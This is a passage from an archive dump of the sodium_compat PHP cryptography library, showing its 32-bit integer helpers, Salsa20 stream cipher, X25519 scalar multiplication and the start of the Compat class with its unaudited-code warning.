    public static function fromInt($low)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        $low = (int) $low;

        return new ParagonIE_Sodium_Core32_Int64(
            array(
                0,
                0,
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[2] & 0xffff) << 16)
                |
            ($this->limbs[3] & 0xffff)
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array(
            (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)),
            (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff))
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[2]);
        $return->limbs[1] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs[0] = (int) ($this->limbs[0]);
        $return->limbs[1] = (int) ($this->limbs[1]);
        $return->limbs[2] = (int) ($this->limbs[2]);
        $return->limbs[3] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow);
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff);
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
Core32/Util.php000064400000000321151024233030007214 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core32_Util extends ParagonIE_Sodium_Core_Util
{

}
Core32/Salsa20.php000064400000026362151024233030007521 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Salsa20
 */
abstract class ParagonIE_Sodium_Core32_Salsa20 extends ParagonIE_Sodium_Core32_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        $j0  = clone $x0;
        $j1  = clone $x1;
        $j2  = clone $x2;
        $j3  = clone $x3;
        $j4  = clone $x4;
        $j5  = clone $x5;
        $j6  = clone $x6;
        $j7  = clone $x7;
        $j8  = clone $x8;
        $j9  = clone $x9;
        $j10  = clone $x10;
        $j11  = clone $x11;
        $j12  = clone $x12;
        $j13  = clone $x13;
        $j14  = clone $x14;
        $j15  = clone $x15;

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        $x0  = $x0->addInt32($j0);
        $x1  = $x1->addInt32($j1);
        $x2  = $x2->addInt32($j2);
        $x3  = $x3->addInt32($j3);
        $x4  = $x4->addInt32($j4);
        $x5  = $x5->addInt32($j5);
        $x6  = $x6->addInt32($j6);
        $x7  = $x7->addInt32($j7);
        $x8  = $x8->addInt32($j8);
        $x9  = $x9->addInt32($j9);
        $x10 = $x10->addInt32($j10);
        $x11 = $x11->addInt32($j11);
        $x12 = $x12->addInt32($j12);
        $x13 = $x13->addInt32($j13);
        $x14 = $x14->addInt32($j14);
        $x15 = $x15->addInt32($j15);

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x4->toReverseString() .
            $x5->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString() .
            $x10->toReverseString() .
            $x11->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
Core32/X25519.php000064400000025442151024233030007127 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_X25519
 */
abstract class ParagonIE_Sodium_Core32_X25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0]->toInt();
        $f1 = (int) $f[1]->toInt();
        $f2 = (int) $f[2]->toInt();
        $f3 = (int) $f[3]->toInt();
        $f4 = (int) $f[4]->toInt();
        $f5 = (int) $f[5]->toInt();
        $f6 = (int) $f[6]->toInt();
        $f7 = (int) $f[7]->toInt();
        $f8 = (int) $f[8]->toInt();
        $f9 = (int) $f[9]->toInt();
        $g0 = (int) $g[0]->toInt();
        $g1 = (int) $g[1]->toInt();
        $g2 = (int) $g[2]->toInt();
        $g3 = (int) $g[3]->toInt();
        $g4 = (int) $g[4]->toInt();
        $g5 = (int) $g[5]->toInt();
        $g6 = (int) $g[6]->toInt();
        $g7 = (int) $g[7]->toInt();
        $g8 = (int) $g[8]->toInt();
        $g9 = (int) $g[9]->toInt();
        $b = -$b;
        /** @var int $x0 */
        $x0 = ($f0 ^ $g0) & $b;
        /** @var int $x1 */
        $x1 = ($f1 ^ $g1) & $b;
        /** @var int $x2 */
        $x2 = ($f2 ^ $g2) & $b;
        /** @var int $x3 */
        $x3 = ($f3 ^ $g3) & $b;
        /** @var int $x4 */
        $x4 = ($f4 ^ $g4) & $b;
        /** @var int $x5 */
        $x5 = ($f5 ^ $g5) & $b;
        /** @var int $x6 */
        $x6 = ($f6 ^ $g6) & $b;
        /** @var int $x7 */
        $x7 = ($f7 ^ $g7) & $b;
        /** @var int $x8 */
        $x8 = ($f8 ^ $g8) & $b;
        /** @var int $x9 */
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0);
        $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1);
        $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2);
        $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3);
        $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4);
        $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5);
        $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6);
        $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7);
        $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8);
        $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9);
        $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0);
        $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1);
        $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2);
        $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3);
        $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4);
        $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5);
        $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6);
        $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7);
        $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8);
        $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17);
        }

        $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25);
        $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5));
        $h[9] = $h[9]->subInt64($carry9->shiftLeft(25));

        $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25);
        $h[2] = $h[2]->addInt64($carry1);
        $h[1] = $h[1]->subInt64($carry1->shiftLeft(25));

        $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25);
        $h[4] = $h[4]->addInt64($carry3);
        $h[3] = $h[3]->subInt64($carry3->shiftLeft(25));

        $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25);
        $h[6] = $h[6]->addInt64($carry5);
        $h[5] = $h[5]->subInt64($carry5->shiftLeft(25));

        $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25);
        $h[8] = $h[8]->addInt64($carry7);
        $h[7] = $h[7]->subInt64($carry7->shiftLeft(25));

        $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26);
        $h[1] = $h[1]->addInt64($carry0);
        $h[0] = $h[0]->subInt64($carry0->shiftLeft(26));

        $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26);
        $h[3] = $h[3]->addInt64($carry2);
        $h[2] = $h[2]->subInt64($carry2->shiftLeft(26));

        $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26);
        $h[5] = $h[5]->addInt64($carry4);
        $h[4] = $h[4]->subInt64($carry4->shiftLeft(26));

        $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26);
        $h[7] = $h[7]->addInt64($carry6);
        $h[6] = $h[6]->subInt64($carry6->shiftLeft(26));

        $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26);
        $h[9] = $h[9]->addInt64($carry8);
        $h[8] = $h[8]->subInt64($carry8->shiftLeft(26));

        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->toInt32();
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h2 */
        $h2 = $h;
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;

            # swap ^= b;
            $swap ^= $b;

            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);

            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);

            # swap = b;
            /** @var int $swap */
            $swap = $b;

            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);

            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return (string) self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
Compat.php000064400000500364151024233030006501 0ustar00<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we offer a
 * compatible interface here. It will give you the correct results as if the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 *                                                                               *
 *     Until audited, this is probably not safe to use! DANGER WILL ROBINSON     *
 *                                                                               *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your platform.
     *
     * @var bool
     */
    public static $fastMult = false;

